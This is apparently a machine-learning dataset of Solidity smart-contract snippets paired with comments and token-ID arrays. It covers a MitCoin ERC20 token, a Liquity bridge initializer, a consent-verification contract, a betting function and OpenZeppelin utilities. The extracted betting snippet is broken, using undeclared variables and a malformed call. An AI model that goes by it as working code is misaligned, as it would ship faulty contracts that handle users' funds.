https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function addApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function subApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { event TokenFallback(address _from, uint _value, bytes _data); /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data)public { TokenFallback(_from,_value,_data); } } contract StanderdToken is ERC20Interface, ERC223ReceivingContract, Owned { /** * * Fix for the ERC20 short address attack * * http://vessenes.com/the-erc20-short-address-attack-explained/ */ modifier onlyPayloadSize(uint size) { if(msg.data.length != size + 4) { revert(); } _; } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public returns (bool) { address _from = msg.sender; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function transferFrom(address _from,address _to, uint _value) public returns (bool) { //require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } } contract PreviligedToken is Owned { using SafeMath for uint; mapping (address => uint) previligedBalances; mapping (address => mapping (address => uint)) previligedallowed; event PreviligedLock(address indexed from, address indexed to, uint value); event PreviligedUnLock(address indexed from, address indexed to, uint value); event Previligedallowed(address indexed _owner, address indexed _spender, uint _value); function previligedBalanceOf(address _owner) public view returns (uint balance) { return previligedBalances[_owner]; } function previligedApprove(address _owner, address _spender, uint _value) onlyOwner public returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowed to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (previligedallowed[_owner][_spender] != 0)) { revert(); } previligedallowed[_owner][_spender] = _value; Previligedallowed(_owner, _spender, _value); return true; } function getPreviligedallowed(address _owner, address _spender) public view returns (uint remaining) { return previligedallowed[_owner][_spender]; } function previligedAddApproval(address _owner, address _spender, uint _addedValue) onlyOwner public returns (bool) { previligedallowed[_owner][_spender] = previligedallowed[_owner][_spender].add(_addedValue); Previligedallowed(_owner, _spender, previligedallowed[_owner][_spender]); return true; } function previligedSubApproval(address _owner, address _spender, uint _subtractedValue) onlyOwner public returns (bool) { uint oldValue = previligedallowed[_owner][_spender]; if (_subtractedValue > oldValue) { previligedallowed[_owner][_spender] = 0; } else { previligedallowed[_owner][_spender] = oldValue.sub(_subtractedValue); } Previligedallowed(_owner, _spender, previligedallowed[_owner][_spender]); return true; } } contract MitToken is StanderdToken, PreviligedToken { using SafeMath for uint; event Burned(address burner, uint burnedAmount); function MitToken() public { uint initialSupply = 6000000000; decimals = 18; _totalSupply = initialSupply * 10 ** uint(decimals); // Update total supply with the decimal amount balances[msg.sender] = _totalSupply; // Give the creator all initial tokens name = "MitCoin"; // Set the name for display purposes symbol = "MITC"; // Set the symbol for display purposes3 } /** * @dev Function to mint tokens * @notice Create `mintedAmount` tokens and send it to `_target` * @param _target The address that will receive the minted tokens. * @param _mintedAmount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintToken(address _target, uint _mintedAmount) onlyOwner public { balances[_target] = balances[_target].add(_mintedAmount); _totalSupply = _totalSupply.add(_mintedAmount); Transfer(address(0), _target, _mintedAmount); } function burn(uint _amount) onlyOwner public { address burner = msg.sender; balances[burner] = balances[burner].sub(_amount); _totalSupply = _totalSupply.sub(_amount); Burned(burner, _amount); } function previligedLock(address _to, uint _value) onlyOwner public returns (bool) { address _from = msg.sender; balances[_from] = balances[_from].sub(_value); //balances[_to] = balances[_to].add(_value); previligedBalances[_to] = previligedBalances[_to].add(_value); PreviligedLock(_from, _to, _value); return true; } function previligedUnLock(address _from, uint _value) public returns (bool) { address to = msg.sender; // we force the address_to to be the the caller require(to != address(0)); require(_value <= previligedBalances[_from]); require(_value <= previligedallowed[_from][msg.sender]); previligedBalances[_from] = previligedBalances[_from].sub(_value); balances[to] = balances[to].add(_value); previligedallowed[_from][msg.sender] = previligedallowed[_from][msg.sender].sub(_value); PreviligedUnLock(_from, to, _value); return true; } }
* @title Contract that will work with ERC223 tokens./
contract ERC223ReceivingContract { event TokenFallback(address _from, uint _value, bytes _data); function tokenFallback(address _from, uint _value, bytes _data)public { TokenFallback(_from,_value,_data); } }
934,833
[ 1, 8924, 716, 903, 1440, 598, 4232, 39, 3787, 23, 2430, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3787, 23, 4779, 9288, 8924, 288, 203, 203, 565, 871, 3155, 12355, 12, 2867, 389, 2080, 16, 2254, 389, 1132, 16, 1731, 389, 892, 1769, 203, 203, 565, 445, 1147, 12355, 12, 2867, 389, 2080, 16, 2254, 389, 1132, 16, 1731, 389, 892, 13, 482, 288, 203, 3639, 3155, 12355, 24899, 2080, 16, 67, 1132, 16, 67, 892, 1769, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x25e3C9dBAC271a2500071f9eea9993155836E9a0/sources/contracts/LiquityHandler.sol
@notice Initialier the contract state. @param _troveManager troveManager address @param _sortedTroves sortedTroves address @param _borrowerOperations borrowerOperations address @param _starknetCore starknetCore address @param _l1ETHBridge l1ETHBridge address @param _l2ETHBridge l2ETHBridge address @param _l1LUSDBridge l1LUSDBridge address @param _l2LUSDBridge l2LUSDBridge address @param _initialICRPerc initialICRPerc address @param _relayer relayer address @param _lusd lusd address
) public payable initializer { __Pausable_init(); __Ownable_init(); initializeMessaging(_starknetCore); initializeTroveHandler(_troveManager, _sortedTroves, _borrowerOperations, _initialICRPerc); relayer = _relayer; l1ETHBridge = _l1ETHBridge; l2ETHBridge = _l2ETHBridge; l1LUSDBridge = _l1LUSDBridge; l2LUSDBridge = _l2LUSDBridge; lusd = _lusd; canBorrow = true; }
16,486,147
[ 1, 4435, 2453, 326, 6835, 919, 18, 225, 389, 88, 303, 537, 1318, 23432, 537, 1318, 1758, 225, 389, 10350, 56, 303, 3324, 3115, 56, 303, 3324, 1758, 225, 389, 70, 15318, 264, 9343, 29759, 264, 9343, 1758, 225, 389, 334, 1313, 2758, 4670, 384, 1313, 2758, 4670, 1758, 225, 389, 80, 21, 1584, 44, 13691, 328, 21, 1584, 44, 13691, 1758, 225, 389, 80, 22, 1584, 44, 13691, 328, 22, 1584, 44, 13691, 1758, 225, 389, 80, 21, 48, 3378, 2290, 5404, 328, 21, 48, 3378, 2290, 5404, 1758, 225, 389, 80, 22, 48, 3378, 2290, 5404, 328, 22, 48, 3378, 2290, 5404, 1758, 225, 389, 6769, 2871, 54, 2173, 71, 2172, 2871, 54, 2173, 71, 1758, 225, 389, 2878, 1773, 1279, 1773, 1758, 225, 389, 80, 407, 72, 328, 407, 72, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 1071, 8843, 429, 12562, 288, 203, 3639, 1001, 16507, 16665, 67, 2738, 5621, 203, 3639, 1001, 5460, 429, 67, 2738, 5621, 203, 3639, 4046, 23389, 24899, 334, 1313, 2758, 4670, 1769, 203, 3639, 4046, 56, 303, 537, 1503, 24899, 88, 303, 537, 1318, 16, 389, 10350, 56, 303, 3324, 16, 389, 70, 15318, 264, 9343, 16, 389, 6769, 2871, 54, 2173, 71, 1769, 203, 3639, 1279, 1773, 273, 389, 2878, 1773, 31, 203, 3639, 328, 21, 1584, 44, 13691, 273, 389, 80, 21, 1584, 44, 13691, 31, 203, 3639, 328, 22, 1584, 44, 13691, 273, 389, 80, 22, 1584, 44, 13691, 31, 203, 3639, 328, 21, 48, 3378, 2290, 5404, 273, 389, 80, 21, 48, 3378, 2290, 5404, 31, 203, 3639, 328, 22, 48, 3378, 2290, 5404, 273, 389, 80, 22, 48, 3378, 2290, 5404, 31, 203, 3639, 328, 407, 72, 273, 389, 80, 407, 72, 31, 203, 3639, 848, 38, 15318, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; import "./SC_Agreement.sol"; import "./SC_DataUsage.sol"; import "./SC_Log.sol"; import "./Lib.sol"; /** * @title Verifier * @dev retrieve value in a vriable */ contract VerificationContract { DataUsageContract private dataUsageContract; AgreementContract private agreementContract; LogContract private logContract; // Store all the results VerifiedResult[] private results; constructor(address dcAdd, address acAdd, address lcAdd) { dataUsageContract = DataUsageContract(dcAdd); agreementContract = AgreementContract(acAdd); logContract = LogContract(lcAdd); } // event for EVM logging event Verification(LogContent log, DataUsage dataUsage, Vote vote, address violatorAddress); event ViolationDectected(address violator,string message); function retrieveResults() public view returns (VerifiedResult[] memory) { return results; } function verify(uint logID) public { address violator; // get the log specified by this logID from LogContract LogContent memory log = logContract.retrieveLog(logID); require(log.logID !=0, "The log does not exist!"); uint usageID = log.usageID; DataUsage memory dataUsage = dataUsageContract.retrieveDataUsage(usageID); Vote memory vote = agreementContract.retrieveVote(usageID); //whether or not the addresses of actors recorded by the log smart contract conform to //those actors who have been given the consent by the users through the agreement //smart contract. if(log.userAddress == address(0x0) || log.userAddress != dataUsage.userAddress ){ violator = log.actorAddress; emit ViolationDectected(violator,"user address inconformity"); } else if(log.actorAddress == address(0x0) || log.actorAddress!=dataUsage.actorAddress || log.actorAddress!=vote.actorAddress){ violator = log.actorAddress; emit ViolationDectected(violator,"actor address inconformity"); } //whether or not the operations of each actor recorded by the log contract conform to //those operations which were recorded via the data usage contract and were given the //users’ consent through the agreement contract. else if(!isStrEqual(dataUsage.operation, log.operation)){ violator = log.actorAddress; emit ViolationDectected(violator,"operation record inconformity"); } else if(!isStrEqual(dataUsage.serviceName, log.serviceName)){ violator = log.actorAddress; emit ViolationDectected(violator,"serviceName record inconformity"); } //whether or not the processed personal data that were recorded by the log contract //were already confirmed by the users through the agreement contract. else if(!isStrArrayEqual(log.processedData, dataUsage.personalData)){ violator = log.actorAddress; emit ViolationDectected(violator,"request processed data inconformity"); } //check whether the request above is confirmed by the user subject else if(!vote.consent|| log.userAddress != vote.userAddress){ violator = log.actorAddress; emit ViolationDectected(violator,"data usage is not confirmed by user"); } else { violator = address(0x0); } emit Verification(log, dataUsage, vote, violator); // store the result. results.push(VerifiedResult(logID, violator)); } function isStrEqual(string memory a, string memory b) public pure returns (bool) { bytes memory aa = bytes(a); bytes memory bb = bytes(b); if (aa.length != bb.length) return false; for(uint i = 0; i < aa.length; i ++) { if(aa[i] != bb[i]) return false; } return true; } function isStrArrayEqual(string[] memory a, string[] memory b) public pure returns (bool) { if(a.length <= b.length) { bool find; for(uint i=0; i<a.length; i++) { string memory processed = a[i]; find = false; for (uint j = 0; j < b.length; j++) { if(isStrEqual(processed, b[j])) { find = true; break; } } if (!find) { return false; } } return true; } else { return false; } } }
get the log specified by this logID from LogContractwhether or not the addresses of actors recorded by the log smart contract conform tothose actors who have been given the consent by the users through the agreementsmart contract.whether or not the operations of each actor recorded by the log contract conform tothose operations which were recorded via the data usage contract and were given theusers’ consent through the agreement contract.whether or not the processed personal data that were recorded by the log contractwere already confirmed by the users through the agreement contract.check whether the request above is confirmed by the user subject
function verify(uint logID) public { address violator; LogContent memory log = logContract.retrieveLog(logID); require(log.logID !=0, "The log does not exist!"); uint usageID = log.usageID; DataUsage memory dataUsage = dataUsageContract.retrieveDataUsage(usageID); Vote memory vote = agreementContract.retrieveVote(usageID); if(log.userAddress == address(0x0) || log.userAddress != dataUsage.userAddress ){ violator = log.actorAddress; emit ViolationDectected(violator,"user address inconformity"); } else if(log.actorAddress == address(0x0) || log.actorAddress!=dataUsage.actorAddress || log.actorAddress!=vote.actorAddress){ violator = log.actorAddress; emit ViolationDectected(violator,"actor address inconformity"); } else if(!isStrEqual(dataUsage.operation, log.operation)){ violator = log.actorAddress; emit ViolationDectected(violator,"operation record inconformity"); } else if(!isStrEqual(dataUsage.serviceName, log.serviceName)){ violator = log.actorAddress; emit ViolationDectected(violator,"serviceName record inconformity"); } else if(!isStrArrayEqual(log.processedData, dataUsage.personalData)){ violator = log.actorAddress; emit ViolationDectected(violator,"request processed data inconformity"); } else if(!vote.consent|| log.userAddress != vote.userAddress){ violator = log.actorAddress; emit ViolationDectected(violator,"data usage is not confirmed by user"); } else { violator = address(0x0); } emit Verification(log, dataUsage, vote, violator); }
14,106,675
[ 1, 588, 326, 613, 1269, 635, 333, 613, 734, 628, 1827, 8924, 3350, 2437, 578, 486, 326, 6138, 434, 27141, 16421, 635, 326, 613, 13706, 6835, 20156, 9997, 25711, 27141, 10354, 1240, 2118, 864, 326, 28243, 635, 326, 3677, 3059, 326, 19602, 26416, 6835, 18, 3350, 2437, 578, 486, 326, 5295, 434, 1517, 8327, 16421, 635, 326, 613, 6835, 20156, 9997, 25711, 5295, 1492, 4591, 16421, 3970, 326, 501, 4084, 6835, 471, 4591, 864, 326, 5577, 163, 227, 252, 28243, 3059, 326, 19602, 6835, 18, 3350, 2437, 578, 486, 326, 5204, 17816, 501, 716, 4591, 16421, 635, 326, 613, 6835, 91, 822, 1818, 19979, 635, 326, 3677, 3059, 326, 19602, 6835, 18, 1893, 2856, 326, 590, 5721, 353, 19979, 635, 326, 729, 3221, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3929, 12, 11890, 613, 734, 13, 1071, 288, 203, 203, 3639, 1758, 12471, 639, 31, 203, 3639, 1827, 1350, 3778, 613, 273, 613, 8924, 18, 17466, 1343, 12, 1330, 734, 1769, 203, 3639, 2583, 12, 1330, 18, 1330, 734, 480, 20, 16, 315, 1986, 613, 1552, 486, 1005, 4442, 1769, 203, 203, 3639, 2254, 4084, 734, 273, 613, 18, 9167, 734, 31, 203, 3639, 1910, 5357, 3778, 501, 5357, 273, 501, 5357, 8924, 18, 17466, 751, 5357, 12, 9167, 734, 1769, 203, 3639, 27540, 3778, 12501, 273, 19602, 8924, 18, 17466, 19338, 12, 9167, 734, 1769, 203, 540, 203, 203, 3639, 309, 12, 1330, 18, 1355, 1887, 422, 1758, 12, 20, 92, 20, 13, 747, 613, 18, 1355, 1887, 480, 501, 5357, 18, 1355, 1887, 262, 95, 203, 5411, 12471, 639, 273, 613, 18, 3362, 1887, 31, 203, 5411, 3626, 776, 8890, 40, 386, 828, 12, 522, 355, 639, 10837, 1355, 1758, 316, 591, 687, 560, 8863, 203, 3639, 289, 27699, 3639, 469, 309, 12, 1330, 18, 3362, 1887, 422, 1758, 12, 20, 92, 20, 13, 747, 613, 18, 3362, 1887, 5, 33, 892, 5357, 18, 3362, 1887, 747, 613, 18, 3362, 1887, 5, 33, 25911, 18, 3362, 1887, 15329, 203, 5411, 12471, 639, 273, 613, 18, 3362, 1887, 31, 203, 5411, 3626, 776, 8890, 40, 386, 828, 12, 522, 355, 639, 10837, 3362, 1758, 316, 591, 687, 560, 8863, 203, 3639, 289, 203, 3639, 469, 309, 12, 5, 291, 1585, 5812, 12, 892, 5357, 18, 7624, 16, 613, 18, 7624, 3719, 2 ]
./full_match/421613/0x733E9d0188F1f1fdC2C473A9ADa7864173a4dee0/sources/src/Games/Game.sol
@notice Creates a new bet and request randomness to Oracle, transfer the ERC20 tokens to the contract or refund the bet amount overflow if the bet amount exceed the maxBetAmount. @param tokenAddress Address of the token. @param tokenAmount The number of tokens bet. @param multiplier The bet amount leverage determines the user's profit amount. 10000 = 100% = no profit. @return A new Bet struct information. Token storage token = tokens[tokenAddress]; Bet amount is capped. if (isGasToken) { Address.sendValue(payable(user), betAmount - maxBetAmount); } betAmount = maxBetAmount; If ERC20, transfer the tokens
function _newBet( address tokenAddress, uint256 multiplier, uint8 rngCount ) internal whenNotPaused nonReentrant returns (Bet memory) { if (bank.isAllowedToken(tokenAddress) == false) { revert ForbiddenToken(); } require( rngCount >= RNG_MIN && rngCount <= RNG_MAX, "rngCount out of range" ); address user = msg.sender; bool isGasToken = tokenAddress == address(0); { uint256 minBetUnit = bank.getMinBetUnit(tokenAddress); if (betUnit < minBetUnit) { revert UnderMinBetUnit(betUnit); } uint256 maxBetUnit = bank.getMaxBetUnit(tokenAddress); if (betUnit > maxBetUnit) { revert ExceedMaxBetUnit(betUnit); } uint256 maxBetAmount = bank.getMaxBetAmount( tokenAddress, multiplier ); if (betAmount > maxBetAmount) { revert("betAmount exceed maxBetAmount, please contact support"); } } uint256 id = supraRouter.generateRequest( "_callback(uint256,uint256[])", rngCount, numConfirmations, ); emit RequestSent(id, user, tokenAddress, rngCount); Bet memory newBet = Bet({ resolved: false, user: user, token: tokenAddress, id: id, amount: betAmount, blockNumber: block.number, payout: 0, rngCount: rngCount, betUnit: betUnit }); _userBets[user].push(id); bets[id] = newBet; tokenToPendingCount[tokenAddress]++; if (!isGasToken) { IERC20(tokenAddress).safeTransferFrom( user, address(this), betAmount ); } return newBet; }
11,565,232
[ 1, 2729, 279, 394, 2701, 471, 590, 2744, 4496, 358, 28544, 16, 7412, 326, 4232, 39, 3462, 2430, 358, 326, 6835, 578, 16255, 326, 2701, 3844, 9391, 309, 326, 2701, 3844, 9943, 326, 943, 38, 278, 6275, 18, 225, 1147, 1887, 5267, 434, 326, 1147, 18, 225, 1147, 6275, 1021, 1300, 434, 2430, 2701, 18, 225, 15027, 1021, 2701, 3844, 884, 5682, 12949, 326, 729, 1807, 450, 7216, 3844, 18, 12619, 273, 2130, 9, 273, 1158, 450, 7216, 18, 327, 432, 394, 605, 278, 1958, 1779, 18, 3155, 2502, 1147, 273, 2430, 63, 2316, 1887, 15533, 605, 278, 3844, 353, 3523, 1845, 18, 309, 261, 291, 27998, 1345, 13, 288, 377, 5267, 18, 4661, 620, 12, 10239, 429, 12, 1355, 3631, 2701, 6275, 300, 943, 38, 278, 6275, 1769, 289, 2701, 6275, 273, 943, 38, 278, 6275, 31, 971, 4232, 39, 3462, 16, 7412, 326, 2430, 2, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0 ]
[ 1, 565, 445, 389, 2704, 38, 278, 12, 203, 3639, 1758, 1147, 1887, 16, 203, 3639, 2254, 5034, 15027, 16, 203, 3639, 2254, 28, 11418, 1380, 203, 565, 262, 2713, 1347, 1248, 28590, 1661, 426, 8230, 970, 1135, 261, 38, 278, 3778, 13, 288, 203, 3639, 309, 261, 10546, 18, 291, 5042, 1345, 12, 2316, 1887, 13, 422, 629, 13, 288, 203, 5411, 15226, 20204, 1345, 5621, 203, 3639, 289, 203, 3639, 2583, 12, 203, 5411, 11418, 1380, 1545, 534, 4960, 67, 6236, 597, 11418, 1380, 1648, 534, 4960, 67, 6694, 16, 203, 5411, 315, 86, 3368, 1380, 596, 434, 1048, 6, 203, 3639, 11272, 203, 203, 3639, 1758, 729, 273, 1234, 18, 15330, 31, 203, 3639, 1426, 353, 27998, 1345, 273, 1147, 1887, 422, 1758, 12, 20, 1769, 203, 3639, 288, 203, 5411, 2254, 5034, 1131, 38, 278, 2802, 273, 11218, 18, 588, 2930, 38, 278, 2802, 12, 2316, 1887, 1769, 203, 5411, 309, 261, 70, 278, 2802, 411, 1131, 38, 278, 2802, 13, 288, 203, 7734, 15226, 21140, 2930, 38, 278, 2802, 12, 70, 278, 2802, 1769, 203, 5411, 289, 203, 203, 5411, 2254, 5034, 943, 38, 278, 2802, 273, 11218, 18, 588, 2747, 38, 278, 2802, 12, 2316, 1887, 1769, 203, 5411, 309, 261, 70, 278, 2802, 405, 943, 38, 278, 2802, 13, 288, 203, 7734, 15226, 1312, 5288, 2747, 38, 278, 2802, 12, 70, 278, 2802, 1769, 203, 5411, 289, 203, 203, 5411, 2254, 5034, 943, 38, 278, 6275, 273, 11218, 18, 588, 2747, 38, 278, 6275, 12, 203, 7734, 1147, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new 